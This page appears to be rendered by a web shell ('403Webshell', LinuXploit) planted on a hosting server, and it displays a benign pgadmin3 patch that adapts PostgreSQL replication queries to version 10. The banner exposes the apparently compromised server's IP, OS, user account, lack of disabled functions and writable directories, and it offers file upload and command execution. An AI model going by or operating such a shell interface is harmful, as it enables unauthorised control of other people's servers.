403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/databases/pgadmin3/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/databases/pgadmin3/files/patch-pg10
Authors: Bernhard Rieder <bernhard@ratte.cc>, Christoph Berg <myon@debian.org>

--- pgadmin/schema/pgServer.cpp
+++ pgadmin/schema/pgServer.cpp
@@ -905,13 +905,24 @@ int pgServer::Connect(frmMain *form, boo
 		if (conn->BackendMinimumVersion(8, 5))
 		{
 			sql += wxT(", CASE WHEN usesuper THEN pg_is_in_recovery() ELSE NULL END as inrecovery");
-			sql += wxT(", CASE WHEN usesuper THEN pg_last_xlog_receive_location() ELSE NULL END as receiveloc");
-			sql += wxT(", CASE WHEN usesuper THEN pg_last_xlog_replay_location() ELSE NULL END as replayloc");
+			if (conn->BackendMinimumVersion(10, 0))
+			{
+				sql += wxT(", CASE WHEN usesuper THEN pg_last_wal_receive_lsn() ELSE NULL END as receiveloc");
+				sql += wxT(", CASE WHEN usesuper THEN pg_last_wal_replay_lsn() ELSE NULL END as replayloc");
+			}
+			else
+			{
+			        sql += wxT(", CASE WHEN usesuper THEN pg_last_xlog_receive_location() ELSE NULL END as receiveloc");
+			        sql += wxT(", CASE WHEN usesuper THEN pg_last_xlog_replay_location() ELSE NULL END as replayloc");
+		        }
 		}
 		if (conn->BackendMinimumVersion(9, 1))
 		{
 			sql += wxT(", CASE WHEN usesuper THEN pg_last_xact_replay_timestamp() ELSE NULL END as replay_timestamp");
-			sql += wxT(", CASE WHEN usesuper AND pg_is_in_recovery() THEN pg_is_xlog_replay_paused() ELSE NULL END as isreplaypaused");
+			if (conn->BackendMinimumVersion(10, 0))
+				sql += wxT(", CASE WHEN usesuper AND pg_is_in_recovery() THEN pg_is_wal_replay_paused() ELSE NULL END as isreplaypaused");
+			else
+			        sql += wxT(", CASE WHEN usesuper AND pg_is_in_recovery() THEN pg_is_xlog_replay_paused() ELSE NULL END as isreplaypaused");
 		}
 
 		pgSet *set = ExecuteSet(sql + wxT("\n  FROM pg_user WHERE usename=current_user"));
@@ -1355,7 +1366,11 @@ void pgServer::ShowStatistics(frmMain *f
 		wxString pidcol = GetConnection()->BackendMinimumVersion(9, 2) ? wxT("pid") : wxT("procpid");
 		wxString querycol = GetConnection()->BackendMinimumVersion(9, 2) ? wxT("query") : wxT("current_query");
 		wxString sql;
-		wxString replication_query = wxT("state || ' (' || sent_location || ' sent, ' || write_location || ' written, ' || flush_location || ' flushed, ' || replay_location || ' applied)'");
+		wxString replication_query;
+		if (conn->BackendMinimumVersion(10, 0))
+			replication_query = wxT("state || ' (' || sent_lsn || ' sent, ' || write_lsn || ' written, ' || flush_lsn || ' flushed, ' || replay_lsn || ' applied)'");
+		else
+			replication_query = wxT("state || ' (' || sent_location || ' sent, ' || write_location || ' written, ' || flush_location || ' flushed, ' || replay_location || ' applied)'");
 		wxLogInfo(wxT("Displaying statistics for server %s"), GetIdentifier().c_str());
 
 		// Add the statistics view columns
@@ -1434,7 +1449,11 @@ bool pgServer::ReloadConfiguration()
 bool pgServer::PauseReplay()
 {
 	SetReplayPaused(true);
-	wxString sql = wxT("SELECT pg_xlog_replay_pause()");
+	wxString sql;
+	if (conn->BackendMinimumVersion(10, 0))
+		sql = wxT("SELECT pg_wal_replay_pause()");
+	else
+		sql = wxT("SELECT pg_xlog_replay_pause()");
 	return conn->ExecuteVoid(sql);
 }
 
@@ -1442,7 +1461,11 @@ bool pgServer::PauseReplay()
 bool pgServer::ResumeReplay()
 {
 	SetReplayPaused(false);
-	wxString sql = wxT("SELECT pg_xlog_replay_resume()");
+	wxString sql;
+	if (conn->BackendMinimumVersion(10, 0))
+		sql = wxT("SELECT pg_wal_replay_resume()");
+	else
+		sql = wxT("SELECT pg_xlog_replay_resume()");
 	return conn->ExecuteVoid(sql);
 }
 

Youez - 2016 - github.com/yon3zu
LinuXploit